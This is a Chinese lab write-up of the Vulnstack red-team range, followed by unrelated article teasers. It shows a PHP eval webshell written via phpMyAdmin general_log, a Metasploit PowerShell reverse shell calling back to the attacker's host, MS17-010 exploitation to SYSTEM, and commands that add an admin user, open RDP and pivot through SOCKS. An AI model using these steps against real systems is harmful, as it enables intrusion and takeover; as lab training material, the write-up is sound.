ATTCK实战系列——红队实战(一)

news2024/11/25 11:48:50

目录

搭建环境问题

靶场环境

web 渗透

登录 phpmyadmin 应用

探测版本

写日志获得 webshell

写入哥斯拉 webshell

上线到 msf

内网信息收集

主机发现

流量转发

端口扫描

开启 socks 代理

服务探测

getshell 内网主机

浏览器配置 socks 代理

21 ftp 

6002/7002 http

8099 IIS

139/445 smb

创建用户和开启 3389

远程桌面连接


这是一篇我渗透第一个红日靶场的笔记,记录其中使用到的技术。

搭建环境问题

本来想用 CS 完成后渗透,但是发现在基于主机模式网卡搭建的环境下,搭建的 CS 服务器有问题,具体表现是 beacon 无法上线到 CS 服务器,CS 客户端的 target 列表一片空白:

具体原因应该是跟网卡的模式有关,在 NAT 或桥接模式下运行的 CS 服务器倒是能正常工作。然而,发现在网卡为 NAT 模式下的机器能访问网卡为主机模式的机器,导致不能模拟一个正常隔断的局域网。本来还想用桥接模式,又发现宿主机用了手机热点,切换为桥接模式的虚拟机无法获取 ip。最终,我选择用主机模式网卡搭建靶场环境,然后用 metasploit 完成后渗透。

靶场环境

web 渗透

登录 phpmyadmin 应用

首先是从 web 服务器开始渗透,访问 192.168.17.141 网站:

phpstudy 搭建的 web 服务器,在网站目录下有个 phpmyadmin 入口,因为我知道 phpstudy 自带这么一个目录,所以手动访问了该路径(正常的渗透流程应该用工具扫描目录):

 这种第三方应用一般会有一个默认账号,phpmyadmin 的是 root/root,输入并登录,进入系统:

探测版本

phpmyadmin 曝出过很多漏洞,网上很多利用方法,参考文章:最全phpmyadmin漏洞汇总

按照文章提供的技巧,先访问某些文件以查看 phpmyadmin 的版本号,比如 /phpmyadmin/readme:

根据这个版本号找对应的漏洞。我对了所有漏洞的版本范围,没有一个对的上,幸好还有一种方法 getshell:通过写入日志文件把 webshell 写入到网站目录下

写日志获得 webshell

在写日志之前,首先需要知道网站目录的绝对路径,这一点可以在 phpstudy 探针页面看到:

 现在可以在 phpmyadmin 的 SQL 功能页面写入日志了,按顺序执行以下语句:

# 开启日志记录
set global general_log = 'on';
# 日志文件的路径
set global general_log_file = 'C:/phpstudy/WWW/shell.php';
# 执行 SQL 语句,被记录到日志文件中
select "<?php @eval($_GET[x]);?>";

点击 go 执行: 

访问日志文件 shell.php:

看到这样的结果,说明 webshell 已经成功写入到网站目录下。

写入哥斯拉 webshell

一句话木马不方便后续的操作,比如命令执行和上线等等,所以写入一个哥斯拉的 webshell。(其实,为了避开可能存在的杀软,应该直接写入哥斯拉 webshell ,而不是一句话木马)

主要的思路是通过一句话木马执行 file_put_contents() 函数,将哥斯拉 webshell 写入网站目录下,这些步骤我就省略了。

最后,连接哥斯拉 webshell:

上线到 msf

先看看当前 webshell 能不能执行命令:

能执行。接下来,在 msfconsole 控制台操作,使用 exploit/multi/script/web_delivery 模块分发 payload。用这种方法上线的原因是 web 服务器运行在 windows 系统上,用 powershell 直接下载 payload 并执行,效率比较高,只需要一条命令。

msfconsole 开启分发 payload 的 web 服务器:

use exploit/multi/script/web_delivery
set TARGET PSH
set PAYLOAD payload/windows/powershell_reverse_tcp
set LHOST 192.168.70.128          # 设置监听器的 ip 地址
set LPORT 2333                    # 设置监听器的端口
run

 复制给出的 powershell 语句在哥斯拉 webshell 执行:

 回到 msfconsole 就会发现成功接收到的反弹 shell:

 基于 powershell 的 shell 不太好用,可以利用它升级为 meterpreter,命令是 sessions -u <id>

内网信息收集

主机发现

在刚得到的 meterpreter 中收集网卡信息:

meterpreter > ifconfig

...

Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:a7:c1:a8
MTU          : 1500
IPv4 Address : 192.168.70.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::fcff:cf71:1487:9c27
IPv6 Netmask : ffff:ffff:ffff:ffff::


...


Interface 26
============
Name         : Intel(R) PRO/1000 MT Network Connection #3
Hardware MAC : 00:0c:29:a7:c1:b2
MTU          : 1500
IPv4 Address : 192.168.17.141
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28cf:4f8a:48f2:7a90
IPv6 Netmask : ffff:ffff:ffff:ffff::

有两张不同网段的网卡,192.168.70.129 是对外开放的 ip 地址,也就是 web 服务器的地址,而 192.168.17.141 是该主机在内部局部网的 ip 地址。

用 post/windows/gather/arp_scanner 模块扫描局域网内的存活主机:

msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.17.0/24
RHOSTS => 192.168.17.0/24
msf6 post(windows/gather/arp_scanner) > options

Module options (post/windows/gather/arp_scanner):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.17.0/24  yes       The target address range or CIDR identifier
   SESSION  2                yes       The session to run this module on.
   THREADS  10               no        The number of concurrent threads

msf6 post(windows/gather/arp_scanner) > run

[*] Running module against STU1
[*] ARP Scanning 192.168.17.0/24
[+]     IP: 192.168.17.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+]     IP: 192.168.17.10 MAC 00:0c:29:3f:5d:a9 (VMware, Inc.)
[+]     IP: 192.168.17.100 MAC 00:0c:29:6d:39:34 (VMware, Inc.)
[+]     IP: 192.168.17.141 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[+]     IP: 192.168.17.254 MAC 00:50:56:e5:cc:ad (VMware, Inc.)
[+]     IP: 192.168.17.255 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[*] Post module execution completed

192.168.17.0/24 网段内存活的主机有 6 个,去掉主机号为 1、254 和 255 的机器(这几个 ip 一般不是提供服务的主机),总共有 3 个主机在线,再去掉当前主机的 141,剩下两个就是其他提供服务的主机。

PS:arp 扫描需要管理员权限。

流量转发

将某个 meterpreter 所控制的主机作为流量转发的中转(pivot),使用的模块是 post/multi/manage/autoroute。

执行命令:

msf6 post(windows/gather/arp_scanner) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 2      # 设置作为中转的会话
SESSION => 2
msf6 post(multi/manage/autoroute) > options

Module options (post/multi/manage/autoroute):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
   SESSION  2                yes       The session to run this module on.
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)

msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 192.168.17.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.70.0/255.255.255.0 from host's routing table.
[*] Post module execution completed

从 Session 2(也就是 meterpreter)自动获取所控制主机上的网段信息,添加到当前路由表。查看现在的路由表:

msf6 post(multi/manage/autoroute) > set CMD print
CMD => print
msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*] 
IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   169.254.0.0        255.255.0.0        Session 2
   192.168.17.0       255.255.255.0      Session 2
   192.168.70.0       255.255.255.0      Session 2


[*] There are currently no IPv6 routes defined.
[*] Post module execution completed

这个像路由表的列表的含义是所有 metasploit 模块发送的流量的目标 ip 地址,如果属于 Subnet 里面的网段,就由 Gateway 指定的 Session 进行转发。

那么,之后的端口扫描就可以针对内部局域网 192.168.17.0/24 进行扫描了。 

端口扫描

对 192.168.17.100 这台主机的前 10000 个端口进行扫描。为什么只扫描前 10000 个端口呢?因为一般服务所使用的端口集中在这范围里面,而端口扫描需要很多时间,所以暂时不浪费大量时间去扫描高位端口,除非实在没有可攻击的服务。

执行命令:

msf6 post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 192.168.17.100:       - 192.168.17.100:21 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:139 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:135 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:445 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:777 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:1025 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:1040 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:1041 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:1043 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:6002 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:7001 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:7002 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:8099 - TCP OPEN
[+] 192.168.17.100:       - 192.168.17.100:8098 - TCP OPEN

扫描另一台主机 192.168.17.10 的操作同上,这里就省略了。

开启 socks 代理

因为探测开放端口上的服务信息需要用到 nmap,而 nmap 不属于 metasploit 的模块,无法通过 session 进行流量转发。因此,需要开启一个 socks 代理服务器。使用到的模块:auxiliary/server/socks_proxy,执行以下命令:

msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The address to listen on
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server

msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 2.

[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobs

Jobs
====

  Id  Name                                Payload                              Payload opts
  --  ----                                -------                              ------------
  1   Exploit: multi/script/web_delivery  windows/powershell_reverse_tcp       tcp://192.168.70.128:4444
  2   Auxiliary: server/socks_proxy

第二个 job 表明已经开启了 socks 代理。在 socks_proxy 模块的 options 里面描述了 socks 代理服务器的地址、端口和 socks 协议的版本,利用这些信息配置 proxychains,在命令行下执行:

echo "socks5 127.0.0.1 1080" > /etc/proxychains4.conf
cat /etc/proxychains4.conf

...

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080

将代理配置添加到 proxychains.conf 文件的末尾中,这样就配置成功了。

服务探测

用 nmap 扫描 192.168.17.100 主机上开放端口的服务:

proxychains nmap -sT -Pn -sV 192.168.17.100 -p 21,139,135,445,777,1025,1040,1041,1043,6002,7001,7002,8099,8098

需要注意的是,nmap 对代理的支持有限,很多协议不支持代理。所以,这里用 -sT 指定只用 TCP 全连接扫描,-Pn 取消主机发现,即不发送 ICMP、ARP 等报文(因为前面说的 nmap 不支持)。具体问题的描述参考 StackOverflow 的回答:How to use nmap through proxychains?

ok,执行上面的命令得到类似如下的结果:

PORT     STATE SERVICE         VERSION
21/tcp   open  ftp             Microsoft ftpd
135/tcp  open  msrpc           Microsoft Windows RPC
139/tcp  open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds    Microsoft Windows 2003 or 2008 microsoft-ds
777/tcp  open  multiling-http?
1025/tcp open  msrpc           Microsoft Windows RPC
1040/tcp open  msrpc           Microsoft Windows RPC
1041/tcp open  msrpc           Microsoft Windows RPC
1043/tcp open  msrpc           Microsoft Windows RPC
6002/tcp open  http            SafeNet Sentinel Protection Server 7.3
7001/tcp open  tcpwrapped
7002/tcp open  http            SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
8098/tcp open  ssl/unknown
8099/tcp open  http            Microsoft IIS httpd 6.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V=7.91%I=7%D=8/13%Time=64D8918A%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,5,"\
SF:x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServer,A
SF:,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x06");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

在 nmap 扫描结果中,比较感兴趣的端口有 21 ftp、139/445 smb、6002/7002 http 和 8099 IIS,对这些服务逐个进行测试,看看能够获取目标主机的权限。

getshell 内网主机

浏览器配置 socks 代理

配置的是 metasploit 开启的 socks 代理服务器。

21 ftp 

在浏览器地址栏输入 ftp://192.168.17.100 并访问:

没有文件和目录。

题外话:本来我想将目标端口映射到本地,再用 ftp 客户端访问,也就是将 192.168.17.100 的 20 和 21 端口映射到 kali 上的 20 和 21 端口。然而,尽管 ftp 客户端能连接上并匿名登录,却无法传输数据。我猜想是跟 ftp 的数据传输机制有关,因为 ftp 另外建立了一条数据通道(协议详解参考FTP 文件传送协议_《TCP/IP详解 卷1:协议》)。至于,怎么将目标端口映射到本地,后面会介绍。

6002/7002 http

这个网站用 SafeNet Sentinel Protection Server 7.3 搭建,网上有关于它的 CVE 和 exp,参考:SafeNet Sentinel Protection Server 7.0 < 7.4 / Sentinel Keys Server 1.0.3 < 1.0.4 - Directory Traversal,是一个目录穿越导致任意文件下载的漏洞,但是我没有利用成功。所以,这一步测试就省略了。

不过,在测试该漏洞的过程中,发现 burpsuite 也可以用 socks 代理:

那么,我们可以把浏览器的代理配置改为 burpsuite 的 http 127.0.0.1:8080, 之后 burpsuite 就会拦截从浏览器发出的、经过 socks 代理转发的流量了。

8099 IIS

这个网站要求 https 访问,具体访问路径是 https://192.168.17.100:8098,不过需要 http basic auth 认证:

 用 auxiliary/scanner/http/http_login 模块尝试暴力破解,但没有成功。看了一下服务器的 IIS 配置:

 仅用户名就不容易猜对了。

139/445 smb

139 端口运行的是基于 NetBIOS 会话服务的 smb,445 端口运行的是基于 CIFS 的 smb,不依赖于 NetBIOS,两个端口都是 smb,不过一般攻击的是 445 端口。

smb 版本探测:

msf6 auxiliary(scanner/http/http_login) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/smb/smb_version) > run
^M
[*] 192.168.17.100:445    - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[+] 192.168.17.100:445    -   Host is running Windows 2003 (build:3790) (name:ROOT-TVI862UBEH) (domain:GOD)
[*] 192.168.17.100:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

目标系统是 Windows Server 2003,在 ms17_010 漏洞的版本范围内,可以尝试攻击:

msf6 auxiliary(scanner/smb/smb_version) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.17.100
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND whoami /all
COMMAND => whoami /all
msf6 auxiliary(admin/smb/ms17_010_command) > run

[-] 192.168.17.100:445    - Rex::Proto::SMB::Exceptions::LoginError: Login Failed: execution expired
[*] 192.168.17.100:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) > run

msf6 auxiliary(admin/smb/ms17_010_command) > run

[*] 192.168.17.100:445    - Target OS: Windows Server 2003 3790
[*] 192.168.17.100:445    - Filling barrel with fish... done
[*] 192.168.17.100:445    - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.17.100:445    -     [*] Preparing dynamite...
[*] 192.168.17.100:445    -             Trying stick 1 (x64)...Miss
[*] 192.168.17.100:445    -             [*] Trying stick 2 (x86)...Boom!
[*] 192.168.17.100:445    -     [+] Successfully Leaked Transaction!
[*] 192.168.17.100:445    -     [+] Successfully caught Fish-in-a-barrel
[*] 192.168.17.100:445    - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.17.100:445    - Reading from CONNECTION struct at: 0x8d04ad60
[*] 192.168.17.100:445    - Built a write-what-where primitive...
[+] 192.168.17.100:445    - Overwrite complete... SYSTEM session obtained!
[+] 192.168.17.100:445    - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.17.100:445    - Getting the command output...
[*] 192.168.17.100:445    - Executing cleanup...
[+] 192.168.17.100:445    - Cleanup was successful
[+] 192.168.17.100:445    - Command completed successfully!
[*] 192.168.17.100:445    - Output for "whoami /all":


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18


GROUP INFORMATION
...                        // 省略

漏洞利用成功并执行 whoami /all 命令。

注意:漏洞利用模块执行不稳定,建议尝试多执行几次。

创建用户和开启 3389

通过 ms17_010 命令执行漏洞在目标主机创建管理员用户和开启 3389 远程桌面。

创建用户的相关命令:

net user <用户名> <密码> /add              # 创建账户,$ 隐藏账户,密码在 Windows Server 上需要满足一定的复杂度 
net localgroup administrators <用户名> /add
net user <用户名>

开启 3389 远程桌面的相关命令:

# 若字段值为0,则表示已启动RDP;若为1,则表示禁用RDP
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections   
# 开启远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 
# 防火墙开放 3389 端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

需要注意的是,metasploit 对 set COMMAND 提供的参数会转义一次,所以给 ms17_010_command 模块设置命令 option 时,需要将引号和反斜杠前面添加转义符号,举个例子:

set COMMAND reg add \"HKLM\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f

远程桌面连接

192.168.17.100 主机的 3389 端口开启后,如何连接呢?Windows 攻击机可以选择用 proxifier 代理工具,配置前面 metasploit 开启的 socks 代理服务器(端口 1080),不过我选择将目标端口映射到本地的方法。

在 msfconsole 下执行:

msf6 post(multi/manage/autoroute) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.17.100
[*] Local TCP relay created: :3389 <-> 192.168.17.100:3389
meterpreter > portfwd

Active Port Forwards
====================

   Index  Local                Remote        Direction
   -----  -----                ------        ---------
   1      192.168.17.100:3389  0.0.0.0:3389  Forward

1 total active port forwards.

portfwd 命令语句的含义是将远程主机 192.168.17.100(-r)的 3389 端口(-p)映射到本地的 3389 端口(-l)。Active Port Forwards 展示的列表中有点让人看不懂,Local 和 Remote 相反了,Local 是远程地址,Remote 则是本地地址。不管怎样,只需要知道发送给 0.0.0.0:3389 的流量将被转发到远程地址 192.168.17.100 的 3389 端口。

既然是转发,那肯定有个作为中转的“东西”,其实这里作为中转的正是前面配置流量转发所指定的 Session 2。

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   169.254.0.0        255.255.0.0        Session 2
   192.168.17.0       255.255.255.0      Session 2
   192.168.70.0       255.255.255.0      Session 2

也就是 meterpreter 控制的 web 服务器。

接着,便可以在 Windows 10 攻击机上远程桌面连接了:

ip 地址和端口是 kali 攻击机及其刚刚映射到本地的 3389 端口。

连接成功,输入密码就能登录进去系统。

题外话:我尝试用这篇文章介绍的技术将这台 Windows Server 2003 上线到 msf 的时候,发现无法创建 session,而 Windows Server 2008 则可以上线,具体原因可能是 Server 2003 台太老了,缺少一些程序。

至此,内网的第一台主机 Windows Server 2003(ip 地址为 192.168.17.100 )已经被攻陷。另一台主机 Windows Server 2008(ip 的地址为 192.168.17.10)也可以利用 ms17_010 漏洞获取访问权限。如果想尝试用 PTH 获取权限,具体操作参考这篇攻略:Vulnstack红日安全内网域渗透靶场1实战

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/904140.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3 基础知识

vue3创建一个项目 PS D:\code> npm init vuelatestVue.js - The Progressive JavaScript Framework√ Add TypeScript? ... No / Yes √ Add JSX Support? ... No / Yes √ Add Vue Router for Single Page Application development? ... No / Yes √ Add Pinia for sta…

五、Spring MVC 接收请求参数以及数据回显、乱码问题

文章目录 一、Spring MVC 接收请求参数二、Spring MVC 数据回显三、SpringMVC 返回中文乱码问题 一、Spring MVC 接收请求参数 客户端或者前端通过 URL 请求传递过来的参数&#xff0c;在控制器中如何接收&#xff1f; 1、当参数和 Controller 中的方法参数一致时&#xff0c;无…

C语言:分支语句和循环语句(超详解)

目录 ​编辑 什么是语句&#xff1f; 分支语句&#xff08;选择结构&#xff09; if语句&#xff1a; 应该注意的是&#xff1a; switch语句&#xff1a; 运用练习&#xff1a; 循环语句 while循环&#xff1a; for循环&#xff1a; break和continue在for循环中&…

性能测试基础知识1

目录 1. 什么是性能测试1.1 生活中遇到的软件性能问题1.2 性能测试定义1.3 性能测试和功能测试的区别1.4 软件性能好 / 坏的表现1.5 影响软件性能的因素 2. 为什么要做性能测试3. 性能测试常见术语以及衡量指标&#xff08;重点&#xff09;并发用户数响应时间用户响应时间请求…

内网群晖NAS外网访问的3种方法?快解析内网穿透如何设置synology外网访问?

synology即是群晖nas&#xff0c; synology外网访问设置是大家比较关注的问题。我们通常会在本地搭建部署好存储服务器&#xff0c;然后在局域网内访问的同时&#xff0c;希望提供到互联网上实现连接访问。在外边可以通过网络随时随地的访问到NAS上的内容&#xff0c;这样的NAS…

【ARM v8】如何在ARM上实现x86的rdtsc()函数

博主未授权任何人或组织机构转载博主任何原创文章&#xff0c;感谢各位对原创的支持&#xff01; 博主链接 本人就职于国际知名终端厂商&#xff0c;负责modem芯片研发。 在5G早期负责终端数据业务层、核心网相关的开发工作&#xff0c;目前牵头6G算力网络技术标准研究。 博客…

协程框架NtyCo的实现

一、为什么需要协程&#xff1f; 讨论协程之前&#xff0c;我们需要先了解同步和异步。以epoll多路复用器为例子&#xff0c;其主循环框架如下&#xff1a; while (1){int nready epoll_wait(epfd, events, EVENT_SIZE, -1);int i0;for (i0; i<nready; i){int sockfd ev…

【unity数据持久化】XML数据管理器知识点

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…

【周末闲谈】关于“数据库”你又知道多少?

个人主页&#xff1a;【&#x1f60a;个人主页】 系列专栏&#xff1a;【❤️周末闲谈】 系列目录 ✨第一周 二进制VS三进制 ✨第二周 文心一言&#xff0c;模仿还是超越&#xff1f; ✨第二周 畅想AR 文章目录 系列目录前言数据库数据库的五大特点数据库介绍数据库管理系统&a…

Linux命令200例:head用于显示文件的开头部分(常用)

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;全栈领域新星创作者✌。CSDN专家博主&#xff0c;阿里云社区专家博主&#xff0c;2023年6月csdn上海赛道top4。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &…

2023-08-20 LeetCode每日一题(判断根结点是否等于子结点之和)

2023-08-20每日一题 一、题目编号 判断根结点是否等于子结点之和二、题目链接 点击跳转到题目位置 三、题目描述 给你一个 二叉树 的根结点 root&#xff0c;该二叉树由恰好 3 个结点组成&#xff1a;根结点、左子结点和右子结点。 如果根结点值等于两个子结点值之和&…

.fargo后缀勒索病毒|勒索病毒解密恢复|fargo勒索病毒解密|勒索病毒解密恢复|数据库恢复

fargo勒索病毒概述&#xff0c;fargo勒索病毒解密恢复及日常防护建议 目录&#xff1a; fargo勒索病毒介绍感染fargo勒索病毒后的表现fargo勒索病毒的感染形式如何恢复.fargo后缀勒索病毒fargo勒索病毒日常防护建议 简介&#xff1a; 河北某有限公司的财务系统&#xff0c;由…

下线40万辆,欧拉汽车推出2023款好猫尊荣型和GT木兰版

欧拉汽车是中国新能源汽车制造商&#xff0c;成立于2018年。截至目前&#xff0c;已经下线了40万辆整车&#xff0c;可见其在市场的影响力和生产实力。为了庆祝这一里程碑&#xff0c;欧拉汽车推出了品牌书《欧拉将爱进行到底》&#xff0c;在其中讲述了欧拉汽车的发展历程和未…

2000-2021年全国各省份农业碳排放数据(原始数据+测算过程+碳排放的测算结果)

2000-2021年全国各省份农业碳排放数据&#xff08;原始数据测算过程碳排放的测算结果&#xff09; 1、时间&#xff1a;2000-2021年 2、范围&#xff1a;全国31省市 3、指标&#xff1a;化肥使用量(万吨)、塑料薄膜使用量(吨)、农用柴油使用量&#xff08;万吨&#xff09;、…

数据结构 - 语句的频度和时间复杂度

一、语句频度&#xff1a; 算法的运行时间 Σ每条语句的执行次数X该语句执行一次所需的时间每条语句的执行次数&#xff0c;也称为&#xff1a;语句的频度结合上面两点&#xff0c;可知&#xff1a;算法的运行时间 Σ每条语句的频度X该语句执行一次所需的时间 二、语句执行…

【产品规划】功能需求说明书概述

文章目录 1、瀑布流方法论简介2、产品需求文档&#xff08;PRD&#xff09;简介3、产品需求文档的基本要素4、编写产品需求文档5、优秀产品需求文档的特点6、与产品需求文档相似的其他文档 1、瀑布流方法论简介 2、产品需求文档&#xff08;PRD&#xff09;简介 3、产品需求文档…

【汇编语言】使用DS和[address]实现字的传送

文章目录 要解决的问题&#xff1a;CPU从内存单元中读取数据字的传送 要解决的问题&#xff1a;CPU从内存单元中读取数据 1、要求&#xff1a;CPU要读取一个内存单元时&#xff0c;必须先给出这个内存单元的地址&#xff1b; 2、原理&#xff1a;8086设备中&#xff0c;内存地…

Kotlin开发笔记:函数式编程

Kotlin开发笔记&#xff1a;函数式编程 什么是函数式编程 简单来说&#xff0c;我们之前接触到的编程的主流就是命令式编程&#xff0c;我们需要告诉计算机做什么和如何做。而函数式编程的意思就是我们只需要告诉计算机我们想做什么&#xff0c;计算机会帮助我们实现如何做。我…

ubuntu20搭建环境使用的一下指令

1.更新源 sudo vim etc/apt/sources.listdeb http://mirrors.aliyun.com/ubuntu/ xenial main deb-src http://mirrors.aliyun.com/ubuntu/ xenial maindeb http://mirrors.aliyun.com/ubuntu/ xenial-updates main deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates…

小素数,大智慧

小素数&#xff0c;大智慧 定义判断方法方法1方法2方法3方法4方法5方法6方法7 定义 素数&#xff08;质数&#xff09;&#xff1a;在大于 1 的自然数中&#xff0c;只有 1 和该数本身两个因数的数 素数&#xff08;质数&#xff09;&#xff1a;在大于1的自然数中&#xff0c;…